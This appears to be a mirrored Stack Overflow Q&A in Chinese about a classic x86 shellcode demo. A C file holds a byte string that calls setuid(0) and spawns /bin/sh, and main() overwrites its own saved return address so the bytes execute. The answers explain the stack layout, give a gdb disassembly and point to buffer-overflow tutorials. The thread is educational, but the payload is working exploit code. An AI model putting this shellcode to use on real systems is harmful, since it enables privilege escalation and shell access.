谁能向我解释这段代码?

Posted

技术标签:

【中文标题】谁能向我解释这段代码?【英文标题】:can anyone explain this code to me? 【发布时间】:2011-02-11 22:44:23 【问题描述】:

警告:这是一个漏洞。不要执行此代码。

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()  
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.

谁能给我一个更好的解释?

【问题讨论】:

我赞同 0xA3 所说的话。这似乎非常可疑。 @Abed,如果您在机器上的某个地方发现了这个,您可能应该仔细检查您是否已被拥有。 thnx Josh,我知道这是一个漏洞,我正在研究一本名为 Grey hat hacking,第 2 版的书,所以别担心,我想成为灰帽子 :) @0xA3 为什么在你这么说之前你不反汇编那个代码。它只是给了一个外壳 【参考方案1】:

显然,这段代码试图改变堆栈,以便当main 函数返回时,程序执行不会定期返回到运行时库(这通常会终止程序),而是跳转到保存在shellcode 数组。

1) int *ret;

在堆栈上定义一个变量,就在main 函数的参数下方。

2) ret = (int *)&ret + 2;

ret 变量指向位于堆栈上ret 上方两个ints 的int *。假设这是返回地址所在的位置,当main 返回时程序将继续运行。

2) (*ret) = (int)shellcode;

返回地址设置为shellcode数组内容的地址,这样main返回时会执行shellcode的内容。


shellcode 似乎包含可能执行系统调用以启动/bin/sh 的机器指令。我可能错了,因为我实际上并没有反汇编 shellcode


P.S.:此代码依赖于机器和编译器,可能无法在所有平台上运行。


回复您的第二个问题:

如果我使用会发生什么 ret=(int)&ret +2 为什么要加 2? 为什么不是3或4???我认为int 是 4 个字节,所以 2 将是 8 个字节吗?

ret 被声明为int*,因此将int(例如(int)&ret)分配给它会出错。至于为什么添加 2 而不是任何其他数字:显然是因为此代码假定返回地址将位于堆栈上的该位置。考虑以下几点:

此代码假定当有东西被压入时调用堆栈会向下增长(确实如此,例如使用 Intel 处理器)。这就是为什么添加而不是减去的原因:返回地址位于比自动(本地)变量(例如ret)更高的内存地址。

从我记忆中的英特尔组装时代开始,C 函数通常被这样调用:首先,所有参数都以相反的顺序(从右到左)压入堆栈。然后,调用该函数。因此返回地址被压入堆栈。然后,建立一个新的堆栈帧,其中包括将ebp 寄存器压入堆栈。然后,局部变量被设置在堆栈下面的所有被压入它的东西。

现在我为您的程序假设以下堆栈布局:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

在底部是ret(它是一个 32 位整数)。上面是保存的ebp 寄存器(也是32 位宽)。上面是 32 位返回地址。 (上面是main 的参数——argcargv——但这些在这里并不重要。)当函数执行时,堆栈指针指向ret。返回地址位于ret“上方”的64位,对应于+ 2

ret = (int*)&ret + 2; 

它是+ 2,因为retint*,而int 是32 位的,因此加2 表示将其设置为比(int*)&amp;ret 高2 × 32 位(=64 位)的内存位置...如果上一段中的所有假设都是正确的,这将是返回地址的位置。


Excursion:让我用英特尔汇编语言演示如何调用 C 函数可能(如果我没记错的话——我不是这个主题的专家,所以我可能是错的):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

在 main 内部,可能会发生以下情况:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

另请参阅:procedure call sequence in C 的描述以获取对该主题的另一种解释。

【讨论】:

thnx 伙计,它非常好,当你在 2) 中所说的 int * 被放置时,我得到了一个问题,你的意思是整个语句是 (int *)&ret ????跨度> 如果我使用 ret=(int)&ret +2 会发生什么,为什么我们要加 2?为什么不是3或4???我认为 int 是 4 个字节,所以 2 将是 8 个字节,不是吗? @kmitnick - 你可能还会发现我对另一个问题的回答有助于理解为什么要添加 2 - ***.com/questions/2543725/… thnx stakx,这是一个很好的解释,+一个答案,但最后一件事,因为 ret 是一个指针,如果我们写 ret=&ret + 2 那么我们会得到同样的东西吗?我理解你说的让 ret 指向 ret + 2 的地址,所以 (int *) 后跟一个地址意味着让 ret 指向那个地址还是不指向那个地址?? @kmitnick:不确定我是否正确理解了你的问题。 &amp;ret 会将ret 的内存位置作为void* 返回。为了能够将指针“移动”到距ret 地址8 个字节的内存位置,必须将其转换为int*。然后+2 不会将2 的值添加到ret,而是2*sizeof(int)【参考方案2】:

实际的shellcode是:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

这个大致对应

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);

【讨论】:

谢谢克里斯,真的很感激:) 您是否有某种自动化的方式将 shellcode 转换为 ASM 而无需手动查找? 这是通过编译示例生成的,在生成的可执行文件上运行 gdb 并使用x /25i &amp;shellcode 反汇编它【参考方案3】:

该字符串来自缓冲区溢出的旧文档,并将执行 /bin/sh。因为它是恶意代码(好吧,当与缓冲区漏洞结合使用时)——你下次真的应该包括它的来源。

来自同一个文档,how to code stack based exploits

/* the shellcode is hex for: */
      #include <stdio.h>
       main()  
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
           

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

您包含的代码会导致 shellcode[] 的内容被执行,运行 execve,并提供对 shell 的访问。还有Shellcode这个词?来自Wikipedia:

在计算机安全中,shellcode 是 一小段代码用作 有效载荷的利用 软件漏洞。它被称为 “shellcode”,因为它通常 启动一个命令 shell 攻击者可以控制受感染的 机器。 Shellcode通常写成 在机器代码中,但任何一段代码 执行类似任务的可以是 称为shellcode。

【讨论】:

【参考方案4】:

无需查找所有实际操作码来确认,shellcode 数组包含执行 /bin/sh 所需的机器码。这个shellcode 是精心构造的机器代码,用于在特定目标平台上执行所需的操作,并且不包含任何null 字节。

main() 中的代码正在更改返回地址和执行流程,以便通过执行 shellcode 数组中的指令来使程序生成 shell。

请参阅Smashing The Stack For Fun And Profit,了解有关如何创建此类 shellcode 以及如何使用它的说明。

【讨论】:

【参考方案5】:

字符串包含一系列以十六进制表示的字节。

字节对特定平台上特定处理器的一系列指令进行编码——希望是你的。 (编辑:如果是恶意软件,希望不是你的!)

定义变量只是为了获取堆栈的句柄。一个书签,如果你愿意的话。然后使用指针算法(同样依赖于平台)来操纵程序的状态,以使处理器跳转到并执行字符串中的字节。

【讨论】:

【参考方案6】:

每个 \xXX 都是一个十六进制数。一个、两个或三个这样的数字一起形成一个操作码(谷歌)。它一起形成了可以或多或少直接由机器执行的组件。这段代码试图执行shellcode。

我认为 shellcode 试图生成一个 shell。

【讨论】:

【参考方案7】:

这只是生成 /bin/sh,例如在 C 中,例如 execve("/bin/sh", NULL, NULL);

【讨论】:

以上是关于谁能向我解释这段代码?的主要内容,如果未能解决你的问题,请参考以下文章

谁能向我解释 CreatedAtRoute() 吗?

谁能向我解释为啥我会收到 Stack Overflow 错误?

谁能向我解释为什么b_list不打印c_list?

谁能解释这段代码到底做了啥?

音量超出范围

KeyStore、HttpClient 和 HTTPS:有人可以向我解释这段代码吗?